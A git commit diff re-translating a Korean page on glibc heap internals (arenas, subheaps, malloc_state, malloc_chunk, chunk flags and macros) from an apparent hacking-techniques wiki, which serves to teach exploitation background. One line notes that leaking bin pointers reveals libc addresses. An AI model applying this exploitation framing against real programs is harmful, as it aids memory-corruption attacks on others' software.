Translated ['binary-exploitation/libc-heap/README.md', 'binary-exploitat

This commit is contained in:
Translator 2024-09-16 20:56:56 +00:00
parent 3e60d2d9b8
commit 871642d55f
83 changed files with 781 additions and 754 deletions

Binary file not shown.

Before

Width:  |  Height:  |  Size: 65 KiB

After

Width:  |  Height:  |  Size: 1.6 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 1.6 KiB

After

Width:  |  Height:  |  Size: 32 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 32 KiB

After

Width:  |  Height:  |  Size: 142 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 142 KiB

After

Width:  |  Height:  |  Size: 108 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 108 KiB

After

Width:  |  Height:  |  Size: 63 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 63 KiB

After

Width:  |  Height:  |  Size: 36 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 708 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 708 KiB

After

Width:  |  Height:  |  Size: 287 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 287 KiB

After

Width:  |  Height:  |  Size: 28 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 201 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 201 KiB

After

Width:  |  Height:  |  Size: 197 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 197 KiB

After

Width:  |  Height:  |  Size: 23 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 79 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 79 KiB

After

Width:  |  Height:  |  Size: 609 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 609 KiB

After

Width:  |  Height:  |  Size: 9.5 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 254 KiB

After

Width:  |  Height:  |  Size: 43 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 43 KiB

After

Width:  |  Height:  |  Size: 137 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 137 KiB

After

Width:  |  Height:  |  Size: 16 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 15 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 15 KiB

After

Width:  |  Height:  |  Size: 1.3 MiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 1.3 MiB

After

Width:  |  Height:  |  Size: 15 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 29 KiB

After

Width:  |  Height:  |  Size: 15 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 15 KiB

After

Width:  |  Height:  |  Size: 428 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 428 KiB

After

Width:  |  Height:  |  Size: 16 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 27 KiB

After

Width:  |  Height:  |  Size: 43 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 43 KiB

After

Width:  |  Height:  |  Size: 78 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 78 KiB

After

Width:  |  Height:  |  Size: 18 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 42 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 42 KiB

After

Width:  |  Height:  |  Size: 92 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 92 KiB

After

Width:  |  Height:  |  Size: 334 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 90 KiB

After

Width:  |  Height:  |  Size: 33 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 33 KiB

After

Width:  |  Height:  |  Size: 116 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 116 KiB

After

Width:  |  Height:  |  Size: 418 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 418 KiB

After

Width:  |  Height:  |  Size: 35 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 53 KiB

After

Width:  |  Height:  |  Size: 74 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 74 KiB

After

Width:  |  Height:  |  Size: 271 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 271 KiB

After

Width:  |  Height:  |  Size: 105 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 105 KiB

After

Width:  |  Height:  |  Size: 13 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 36 KiB

After

Width:  |  Height:  |  Size: 254 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 254 KiB

After

Width:  |  Height:  |  Size: 5.5 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 5.5 KiB

After

Width:  |  Height:  |  Size: 254 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 254 KiB

After

Width:  |  Height:  |  Size: 112 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 112 KiB

After

Width:  |  Height:  |  Size: 22 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 18 KiB

After

Width:  |  Height:  |  Size: 3.2 MiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 3.2 MiB

After

Width:  |  Height:  |  Size: 10 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 10 KiB

After

Width:  |  Height:  |  Size: 262 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 262 KiB

After

Width:  |  Height:  |  Size: 19 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 95 KiB

After

Width:  |  Height:  |  Size: 407 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 407 KiB

After

Width:  |  Height:  |  Size: 284 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 284 KiB

After

Width:  |  Height:  |  Size: 40 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 58 KiB

After

Width:  |  Height:  |  Size: 175 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 175 KiB

After

Width:  |  Height:  |  Size: 453 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 453 KiB

After

Width:  |  Height:  |  Size: 25 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 23 KiB

After

Width:  |  Height:  |  Size: 172 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 172 KiB

After

Width:  |  Height:  |  Size: 210 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 210 KiB

After

Width:  |  Height:  |  Size: 25 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 20 KiB

After

Width:  |  Height:  |  Size: 1 MiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 1 MiB

After

Width:  |  Height:  |  Size: 594 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 594 KiB

After

Width:  |  Height:  |  Size: 26 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 334 KiB

After

Width:  |  Height:  |  Size: 35 KiB

View file

@ -1,56 +1,56 @@
# # Libc Heap
## 힙 기초 ## Heap Basics
힙은 프로그램이 **`malloc`**, `calloc` 등의 함수를 호출하여 데이터를 요청할 때 데이터를 저장할 수 있는 공간입니다. 더 이상 필요하지 않은 메모리는 **`free`** 함수를 호출하여 사용 가능하게 만듭니다. 힙은 기본적으로 프로그램이 **`malloc`**, `calloc`와 같은 함수를 호출하여 데이터를 요청할 때 데이터를 저장할 수 있는 장소입니다. 또한, 이 메모리가 더 이상 필요하지 않을 때는 **`free`** 함수를 호출하여 사용 가능하게 됩니다.
힙은 메모리에 로드된 이진 파일 바로 뒤에 위치하며 ( `[heap]` 섹션을 확인하세요): 보시다시피, 이는 바이너리가 메모리에 로드된 직후에 위치합니다 ( `[heap]` 섹션을 확인하세요):
<figure><img src="../../.gitbook/assets/image (1241).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (1241).png" alt=""><figcaption></figcaption></figure>
### 기본 청크 할당 ### Basic Chunk Allocation
힙에 데이터를 저장하도록 요청하면 힙의 일부 공간이 해당 데이터에 할당됩니다. 이 공간은 bin에 속하며 요청된 데이터 + bin 헤더 공간 + 최소 bin 크기 오프셋만 청크에 예약됩니다. 각 청크가 어디에 있는지 찾기 어렵지 않게 최소한의 메모리만 예약하는 것이 목표입니다. 이를 위해 메타데이터 청크 정보를 사용하여 각 사용 중/해제된 청크가 어디에 있는지 알 수 있습니다. 힙에 저장할 데이터가 요청되면, 힙의 일부 공간이 할당됩니다. 이 공간은 빈에 속하며 요청된 데이터 + 빈 헤더의 공간 + 최소 빈 크기 오프셋만큼이 청크를 위해 예약됩니다. 목표는 각 청크의 위치를 찾는 것을 복잡하게 만들지 않으면서 가능한 최소한의 메모리만 예약하는 것입니다. 이를 위해 메타데이터 청크 정보를 사용하여 사용 중인/비어 있는 청크의 위치를 알 수 있습니다.
사용된 bin에 따라 공간을 예약하는 방법이 다양하지만 일반적인 방법은 다음과 같습니다: 공간을 예약하는 방법은 사용된 빈에 따라 다르지만, 일반적인 방법론은 다음과 같습니다:
* 프로그램은 일정량의 메모리를 요청하여 시작합니다. * 프로그램은 특정 양의 메모리를 요청합니다.
* 청크 목록에서 요청을 충족할 수 있는 충분히 큰 공간이 있는 경우 사용됩니다. * 청크 목록에 요청을 충족할 수 있을 만큼 큰 사용 가능한 청크가 있으면 사용됩니다.
* 이는 심지어 사용 가능한 청크의 일부가 이 요청에 사용되고 나머지는 청크 목록에 추가될 수 있음을 의미할 수 있습니다. * 이는 사용 가능한 청크의 일부가 이 요청에 사용되고 나머지는 청크 목록에 추가될 수 있음을 의미할 수 있습니다.
* 목록에 사용 가능한 청크가 없지만 할당된 힙 메모리에 여전히 공간이 있는 경우, 힙 관리자는 새로운 청크를 생성합니다. * 목록에 사용 가능한 청크가 없지만 할당된 힙 메모리에 여전히 공간이 있는 경우, 힙 관리자는 새 청크를 생성합니다.
* 새로운 청크를 할당할 힙 공간이 충분하지 않은 경우, 힙 관리자는 커널에게 힙에 할당된 메모리를 확장하도록 요청한 다음 이 메모리를 사용하여 새로운 청크를 생성합니다. * 새 청크를 할당할 충분한 힙 공간이 없는 경우, 힙 관리자는 커널에 힙에 할당된 메모리를 확장하도록 요청하고 이 메모리를 사용하여 새 청크를 생성합니다.
* 모든 것이 실패하면 `malloc`은 null을 반환합니다. * 모든 것이 실패하면, `malloc`은 null을 반환합니다.
요청된 **메모리가 임계값을 초과하면**, **`mmap`**이 요청된 메모리를 매핑하는 데 사용됩니다. 요청된 **메모리가 임계값을 초과하면**, **`mmap`**이 요청된 메모리를 매핑하는 데 사용됩니다.
## 아레나 ## Arenas
**다중 스레드** 응용 프로그램에서 힙 관리자는 충돌로 인한 충돌을 방지해야 합니다. 초기에는 **전역 뮤텍스**를 사용하여 한 번에 한 스레드만 힙에 액세스할 수 있도록 보장했지만, 이는 **성능 문제**를 일으켰습니다. **멀티스레드** 애플리케이션에서 힙 관리자는 충돌로 이어질 수 있는 **경쟁 조건**을 방지해야 합니다. 처음에는 **전역 뮤텍스**를 사용하여 한 번에 하나의 스레드만 힙에 접근할 수 있도록 했지만, 이는 뮤텍스에 의한 병목 현상으로 인해 **성능 문제**를 일으켰습니다.
이를 해결하기 위해 ptmalloc2 힙 할당기는 "아레나"를 도입했는데, **각 아레나**는 **자체** 데이터 **구조****뮤텍스**를 가진 **별도의 힙** 역할을 하여 서로 간섭하지 않고 여러 스레드가 힙 작업을 수행할 수 있도록 합니다. 이를 해결하기 위해 ptmalloc2 힙 할당자는 "아레나"를 도입했습니다. 여기서 **각 아레나**는 **자체** 데이터 **구조**와 **뮤텍스**를 가진 **별도의 힙**으로 작용하여 서로 다른 아레나를 사용하는 한 여러 스레드가 힙 작업을 수행할 수 있도록 합니다.
기본 "main" 아레나는 단일 스레드 응용 프로그램을 위한 힙 작업을 처리합니다. **새 스레드**가 추가되면 힙 관리자는 경합을 줄이기 위해 그들에게 **보조 아레나**를 할당합니다. 먼저 각 새 스레드를 사용하지 않은 아레나에 연결하려고 시도하며 필요한 경우 새로운 것을 만들어 32비트 시스템의 CPU 코어 수의 2배 한도까지, 64비트 시스템의 경우 8배까지 제한됩니다. 한도에 도달하면 **스레드는 아레나를 공유**해야 하므로 잠재적인 경합이 발생합니다. 기본 "메인" 아레나는 단일 스레드 애플리케이션의 힙 작업을 처리합니다. **새 스레드**가 추가되면, 힙 관리자는 경쟁을 줄이기 위해 **보조 아레나**를 할당합니다. 먼저 각 새 스레드를 사용되지 않는 아레나에 연결하려고 시도하며, 필요할 경우 새 아레나를 생성합니다. 32비트 시스템의 경우 CPU 코어 수의 2배, 64비트 시스템의 경우 8배까지 제한이 있습니다. 제한에 도달하면 **스레드는 아레나를 공유해야 하며**, 이는 잠재적인 경쟁으로 이어질 수 있습니다.
주 아레나가 `brk` 시스템 호출을 사용하여 확장하는 반면, 보조 아레나는 `mmap``mprotect`를 사용하여 "서브힙"을 생성하여 힙 동작을 모방하여 다중 스레드 작업에 대한 메모리 관리를 유연하게 할 수 있습니다. 메인 아레나와 달리 `brk` 시스템 호출을 사용하여 확장되는 보조 아레나는 `mmap``mprotect`를 사용하여 "서브힙"을 생성하여 멀티스레드 작업을 위한 메모리 관리를 유연하게 합니다.
### 서브힙 ### Subheaps
서브힙은 다중 스레드 응용 프로그램의 보조 아레나에 대한 메모리 예비로 작동하여 메인 힙과 별도로 자체 힙 영역을 성장하고 관리할 수 있습니다. 서브힙이 초기 힙과 어떻게 다르며 작동하는지에 대한 내용은 다음과 같습니다: 서브힙은 멀티스레드 애플리케이션에서 보조 아레나를 위한 메모리 예비 공간으로 작용하여, 메인 힙과 별도로 자체 힙 영역을 성장시키고 관리할 수 있게 합니다. 서브힙이 초기 힙과 어떻게 다른지 및 작동 방식은 다음과 같습니다:
1. **초기 힙 서브힙**: 1. **초기 힙 vs. 서브힙**:
* 초기 힙은 메모리에 로드된 프로그램 바로 뒤에 위치하며 `sbrk` 시스템 호출을 사용하여 확장됩니다. * 초기 힙은 메모리에서 프로그램의 바이너리 바로 뒤에 위치하며, `sbrk` 시스템 호출을 사용하여 확장됩니다.
* 보조 아레나에서 사용되는 서브힙은 `mmap`을 통해 생성되며 지정된 메모리 영역을 매핑하는 시스템 호출니다. * 보조 아레나에서 사용되는 서브힙은 지정된 메모리 영역을 매핑하는 시스템 호출`mmap`을 통해 생성됩니다.
2. **`mmap`사용한 메모리 예약**: 2. **`mmap`한 메모리 예약**:
* 힙 관리자가 서브힙을 생성하면 `mmap`을 통해 큰 메모리 블록을 예약합니다. 이 예약은 즉시 메모리를 할당하지 않고 다른 시스템 프로세스나 할당이 사용하지 않아야 하는 영역을 지정합니다. * 힙 관리자가 서브힙을 생성할 때, `mmap`을 통해 큰 메모리 블록을 예약합니다. 이 예약은 즉시 메모리를 할당하지 않으며, 다른 시스템 프로세스나 할당이 사용하지 않아야 할 영역을 지정하는 것입니다.
* 기본적으로 32비트 프로세스의 서브힙에 대한 예약 크기는 1MB이며, 64비트 프로세스의 경우 64MB입니다. * 기본적으로 서브힙의 예약 크기는 32비트 프로세스의 경우 1MB, 64비트 프로세스의 경우 64MB입니다.
3. **`mprotect`사용한 점진적 확장**: 3. **`mprotect`한 점진적 확장**:
* 예약된 메모리 영역은 처음에 `PROT_NONE`으로 표시되어 있어 커널이 이 공간에 물리적 메모리를 할당할 필요가 없음을 나타냅니다. * 예약된 메모리 영역은 처음에 `PROT_NONE`으로 표시되어, 커널이 이 공간에 물리적 메모리를 할당할 필요가 없음을 나타냅니다.
* 서브힙을 "확장"하기 위해 힙 관리자는 `mprotect`를 사용하여 페이지 권한을 `PROT_NONE`에서 `PROT_READ | PROT_WRITE`로 변경하여 커널이 이전에 예약된 주소에 물리적 메모리를 할당하도록 합니다. 이 단계별 접근 방식을 통해 서브힙은 필요에 따라 확장될 수 있습니다. * 서브힙을 "확장"하기 위해, 힙 관리자는 `mprotect`를 사용하여 페이지 권한을 `PROT_NONE`에서 `PROT_READ | PROT_WRITE`로 변경하여 커널이 이전에 예약된 주소에 물리적 메모리를 할당하도록 합니다. 이 단계별 접근 방식은 서브힙이 필요에 따라 확장될 수 있도록 합니다.
* 서브힙 전체가 고갈되면 힙 관리자는 계속해서 할당하기 위해 새로운 서브힙을 생성합니다. * 서브힙이 모두 소진되면, 힙 관리자는 할당을 계속하기 위해 새 서브힙을 생성합니다.
### heap\_info <a href="#heap_info" id="heap_info"></a> ### heap\_info <a href="#heap_info" id="heap_info"></a>
이 구조체는 힙의 관련 정보를 할당합니다. 또한 더 많은 할당 후 힙 메모리가 연속적이지 않을 수 있으므로 이 구조체는 해당 정보도 저장합니다. 이 구조체는 힙의 관련 정보를 할당합니다. 또한, 추가 할당 후 힙 메모리가 연속적이지 않을 수 있으며, 이 구조체는 그 정보를 저장합니다.
```c ```c
// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/arena.c#L837 // From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/arena.c#L837
@ -70,13 +70,13 @@ char pad[-3 * SIZE_SZ & MALLOC_ALIGN_MASK];
``` ```
### malloc\_state ### malloc\_state
**각 힙**(주 힙 또는 다른 스레드의 힙)에는 **`malloc_state` 구조체**가 있습니다.\ **각 힙** (메인 아레나 또는 다른 스레드 아레나)은 **`malloc_state` 구조체를 가집니다.**\
중요한 점은 **주 힙의 `malloc_state`** 구조체가 **libc의 전역 변수**임을 알아야 합니다(따라서 libc 메모리 공간에 위치함).\ **메인 아레나 `malloc_state`** 구조체는 **libc의 전역 변수**라는 점에 유의하는 것이 중요합니다 (따라서 libc 메모리 공간에 위치합니다).\
스레드의 힙에 있는 **`malloc_state`** 구조체의 경우, **해당 스레드의 "힙" 내부에 위치**합니다. 스레드의 힙**`malloc_state`** 구조체는 **자신의 스레드 "힙"** 내부에 위치합니다.
이 구조체에서 주목할 만한 몇 가지 사항이 있습니다(아래의 C 코드 참조): 이 구조체에서 주목할 만한 몇 가지 흥미로운 점이 있습니다 (아래 C 코드를 참조):
* `__libc_lock_define (, mutex);`는 이 힙의 구조체가 한 번에 1개의 스레드에 의해 액세스되도록 보장합니다. * `__libc_lock_define (, mutex);`는 이 힙의 구조체가 한 번에 1개의 스레드에 의해 접근되도록 보장하기 위해 존재합니다.
* 플래그: * 플래그:
* ```c * ```c
#define NONCONTIGUOUS_BIT (2U) #define NONCONTIGUOUS_BIT (2U)
@ -86,11 +86,11 @@ char pad[-3 * SIZE_SZ & MALLOC_ALIGN_MASK];
#define set_noncontiguous(M) ((M)->flags |= NONCONTIGUOUS_BIT) #define set_noncontiguous(M) ((M)->flags |= NONCONTIGUOUS_BIT)
#define set_contiguous(M) ((M)->flags &= ~NONCONTIGUOUS_BIT) #define set_contiguous(M) ((M)->flags &= ~NONCONTIGUOUS_BIT)
``` ```
* `mchunkptr bins[NBINS * 2 - 2];`작은, 큰 및 정렬되지 않은 **bins**의 **첫 번째와 마지막 청크**를 가리키는 **포인터**를 포함합니다(-2는 인덱스 0이 사용되지 않기 때문입니다). * `mchunkptr bins[NBINS * 2 - 2];`**작고, 크고, 정렬되지 않은 **bins**의 **첫 번째 및 마지막 청크**에 대한 **포인터**를 포함합니다 (인덱스 0이 사용되지 않기 때문에 -2입니다).
* 따라서 이러한 bins의 **첫 번째 청크**는 **이 구조체로의 역방향 포인터**를 가지고 있고, 이러한 bins의 **마지막 청크**는 **이 구조체로의 순방향 포인터**를 가지고 있습니다. 이것은 기본적으로 주 힙에서 이러한 주소를 **유출**할 수 있다면 **libc**의 구조체로의 포인터를 얻을 수 있다는 것을 의미합니다. * 따라서, 이러한 bins의 **첫 번째 청크**는 이 구조체에 대한 **역방향 포인터**를 가지며, **마지막 청크**는 이 구조체에 대한 **정방향 포인터**를 가집니다. 이는 기본적으로 **메인 아레나에서 이러한 주소를 l**eak**할 수 있다면, **libc**의 구조체에 대한 포인터를 가지게 된다는 것을 의미합니다.
* `struct malloc_state *next;``struct malloc_state *next_free;` 구조체는 아레나의 연결 리스트입니다. * 구조체 `struct malloc_state *next;``struct malloc_state *next_free;`는 아레나의 연결 리스트입니다.
* `top` 청크는 마지막 "청크"로, 기본적으로 **힙에 남은 모든 공간**입니다. top 청크가 "비어" 있으면 힙이 완전히 사용되었으며 더 많은 공간을 요청해야 합니다. * `top` 청크는 마지막 "청크"로, 기본적으로 **남은 모든 공간**입니다. top 청크가 "비어" 있으면, 힙이 완전히 사용되었고 더 많은 공간을 요청해야 합니다.
* `last reminder` 청크는 정확한 크기의 청크가 없는 경우에 나타나며, 따라서 더 큰 청크가 분할되고 포인터가 남은 부분이 여기에 배치됩니다. * `last reminder` 청크는 정확한 크기의 청크가 사용 가능하지 않을 때 발생하며, 따라서 더 큰 청크가 분할되고, 남은 부분의 포인터가 여기에 배치됩니다.
```c ```c
// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1812 // From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1812
@ -140,7 +140,7 @@ INTERNAL_SIZE_T max_system_mem;
``` ```
### malloc\_chunk ### malloc\_chunk
이 구조체는 메모리의 특정 청크를 나타냅니다. 다양한 필드는 할당된 청크와 할당되지 않은 청크에 대해 다른 의미를 가지고 있습니다. 이 구조체는 특정 메모리 청크를 나타냅니다. 다양한 필드는 할당된 청크와 할당되지 않은 청크에 대해 다른 의미를 가니다.
```c ```c
// https://github.com/bminor/glibc/blob/master/malloc/malloc.c // https://github.com/bminor/glibc/blob/master/malloc/malloc.c
struct malloc_chunk { struct malloc_chunk {
@ -155,37 +155,35 @@ struct malloc_chunk* bk_nextsize;
typedef struct malloc_chunk* mchunkptr; typedef struct malloc_chunk* mchunkptr;
``` ```
이전에 설명한 대로, 이러한 청크들은 메타데이터를 가지고 있으며, 이 이미지에서 잘 표현되어 있습니다: 앞서 언급했듯이, 이러한 청크는 메타데이터를 가지고 있으며, 이는 다음 이미지에서 잘 표현되어 있습니다:
<figure><img src="../../.gitbook/assets/image (1242).png" alt=""><figcaption><p><a href="https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png">https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png</a></p></figcaption></figure> <figure><img src="../../.gitbook/assets/image (1242).png" alt=""><figcaption><p><a href="https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png">https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png</a></p></figcaption></figure>
메타데이터는 일반적으로 현재 청크 크기를 나타내는 0x08B로 표시되며, 마지막 3비트를 사용하여 다음을 나타냅니다: 메타데이터는 일반적으로 0x08B로, 마지막 3비트를 사용하여 현재 청크 크기를 나타냅니다:
* `A`: 1이면 하위 힙에서 오는 것이고, 0이면 주 힙에 있습니다. * `A`: 1이면 서브힙에서 온 것이고, 0이면 메인 아레나에 있습니다.
* `M`: 1이면 이 청크는 mmap으로 할당된 공간의 일부이며 힙의 일부가 아닙니다. * `M`: 1이면 이 청크는 mmap으로 할당된 공간의 일부이며 힙의 일부가 아닙니다.
* `P`: 1이면 이전 청크가 사용 중입니다. * `P`: 1이면 이전 청크가 사용 중입니다.
그런 다음 사용자 데이터를 위한 공간이 있고, 마지막으로 청크가 사용 가능할 때 이전 청크 크기를 나타내는 0x08B가 있습니다(또는 할당될 때 사용자 데이터를 저장하는 데 사용됩니다). 그 다음은 사용자 데이터 공간이며, 마지막으로 청크가 사용 가능할 때 이전 청크 크기를 나타내기 위해 0x08B가 있습니다(또는 할당될 때 사용자 데이터를 저장하기 위해).
또한 사용 가능한 경우 사용자 데이터는 몇 가지 데이터를 포함하기도 합니다:
* **`fd`**: 다음 청크를 가리키는 포인터
* **`bk`**: 이전 청크를 가리키는 포인터
* **`fd_nextsize`**: 자신보다 작은 첫 번째 청크를 가리키는 포인터
* **`bk_nextsize`:** 자신보다 큰 첫 번째 청크를 가리키는 포인터
게다가, 사용 가능할 때 사용자 데이터는 또한 일부 데이터를 포함하는 데 사용됩니다:
* **`fd`**: 다음 청크에 대한 포인터
* **`bk`**: 이전 청크에 대한 포인터
* **`fd_nextsize`**: 리스트에서 자신보다 작은 첫 번째 청크에 대한 포인터
* **`bk_nextsize`:** 리스트에서 자신보다 큰 첫 번째 청크에 대한 포인터
<figure><img src="../../.gitbook/assets/image (1243).png" alt=""><figcaption><p><a href="https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png">https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png</a></p></figcaption></figure> <figure><img src="../../.gitbook/assets/image (1243).png" alt=""><figcaption><p><a href="https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png">https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png</a></p></figcaption></figure>
{% hint style="info" %} {% hint style="info" %}
리스트를 이렇게 구성하면 모든 청크가 등록되어 있는 배열이 필요하지 않아도 됨을 주목하세요. 이렇게 리스트를 연결하는 방식이 모든 청크가 등록되는 배열이 필요하지 않도록 하는 방법에 유의하십시오.
{% endhint %} {% endhint %}
### 청크 포인터 ### 청크 포인터
malloc을 사용하면 쓰기 가능한 내용을 가리키는 포인터가 반환됩니다(헤더 바로 뒤), 그러나 청크를 관리할 때는 헤더(메타데이터)의 시작 부분을 가리키는 포인터가 필요합니다.\ malloc이 사용될 때, 쓸 수 있는 내용에 대한 포인터가 반환됩니다(헤더 바로 뒤에), 그러나 청크를 관리할 때는 헤더(메타데이터)의 시작에 대한 포인터가 필요합니다.\
이러한 변환에는 다음 함수가 사용됩니다: 이러한 변환을 위해 다음 함수들이 사용됩니다:
```c ```c
// https://github.com/bminor/glibc/blob/master/malloc/malloc.c // https://github.com/bminor/glibc/blob/master/malloc/malloc.c
@ -205,7 +203,7 @@ malloc을 사용하면 쓰기 가능한 내용을 가리키는 포인터가 반
``` ```
### 정렬 및 최소 크기 ### 정렬 및 최소 크기
해당 청크의 포인터와 `0x0f`는 0이어야 합니다. 청크에 대한 포인터와 `0x0f`는 0이어야 합니다.
```c ```c
// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/sysdeps/generic/malloc-size.h#L61 // From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/sysdeps/generic/malloc-size.h#L61
#define MALLOC_ALIGN_MASK (MALLOC_ALIGNMENT - 1) #define MALLOC_ALIGN_MASK (MALLOC_ALIGNMENT - 1)
@ -260,9 +258,11 @@ req = (req + (__MTAG_GRANULE_SIZE - 1)) &
return request2size (req); return request2size (req);
} }
``` ```
Note that for calculating the total space needed it's only added `SIZE_SZ` 1 time because the `prev_size` field can be used to store data, therefore only the initial header is needed.
### 청크 데이터 가져오기 및 메타데이터 변경 ### 청크 데이터 가져오기 및 메타데이터 변경
러한 함수들은 청크에 대한 포인터를 받아들여 메타데이터를 확인/설정하는 데 유용합니다: 이 함수들은 청크에 대한 포인터를 받아 작동하며 메타데이터를 확인/설정하는 데 유용합니다:
* 청크 플래그 확인 * 청크 플래그 확인
```c ```c
@ -294,7 +294,7 @@ the chunk to the user, if necessary. */
/* Mark a chunk as not being on the main arena. */ /* Mark a chunk as not being on the main arena. */
#define set_non_main_arena(p) ((p)->mchunk_size |= NON_MAIN_ARENA) #define set_non_main_arena(p) ((p)->mchunk_size |= NON_MAIN_ARENA)
``` ```
* 다른 청크들의 크기와 포인터들 * 다른 청크에 대한 크기 및 포인터
```c ```c
/* /*
Bits to mask off when extracting size Bits to mask off when extracting size
@ -327,7 +327,7 @@ people extending or adapting this malloc.
/* Treat space at ptr + offset as a chunk */ /* Treat space at ptr + offset as a chunk */
#define chunk_at_offset(p, s) ((mchunkptr) (((char *) (p)) + (s))) #define chunk_at_offset(p, s) ((mchunkptr) (((char *) (p)) + (s)))
``` ```
* 비트 논리 * 인수 비트
```c ```c
/* extract p's inuse bit */ /* extract p's inuse bit */
#define inuse(p) \ #define inuse(p) \
@ -351,7 +351,7 @@ people extending or adapting this malloc.
#define clear_inuse_bit_at_offset(p, s) \ #define clear_inuse_bit_at_offset(p, s) \
(((mchunkptr) (((char *) (p)) + (s)))->mchunk_size &= ~(PREV_INUSE)) (((mchunkptr) (((char *) (p)) + (s)))->mchunk_size &= ~(PREV_INUSE))
``` ```
* 헤더와 푸터 설정 (chunk 번호 사용 중일 때) * 헤드와 푸터 설정 (청크 번호 사용 시)
```c ```c
/* Set size at head, without disturbing its use bit */ /* Set size at head, without disturbing its use bit */
#define set_head_size(p, s) ((p)->mchunk_size = (((p)->mchunk_size & SIZE_BITS) | (s))) #define set_head_size(p, s) ((p)->mchunk_size = (((p)->mchunk_size & SIZE_BITS) | (s)))
@ -362,7 +362,7 @@ people extending or adapting this malloc.
/* Set size at footer (only when chunk is not in use) */ /* Set size at footer (only when chunk is not in use) */
#define set_foot(p, s) (((mchunkptr) ((char *) (p) + (s)))->mchunk_prev_size = (s)) #define set_foot(p, s) (((mchunkptr) ((char *) (p) + (s)))->mchunk_prev_size = (s))
``` ```
* 청크 내부의 실제 사용 가능한 데이터 크기를 얻습니다. * 청크 내부의 실제 사용 가능한 데이터 크기를 가져옵니다.
```c ```c
#pragma GCC poison mchunk_size #pragma GCC poison mchunk_size
#pragma GCC poison mchunk_prev_size #pragma GCC poison mchunk_prev_size
@ -391,11 +391,11 @@ ptr = __libc_mtag_tag_region (__libc_mtag_new_tag (ptr), memsize (cp));
return ptr; return ptr;
} }
``` ```
## 예시 ## Examples
### 빠른 힙 예시 ### Quick Heap Example
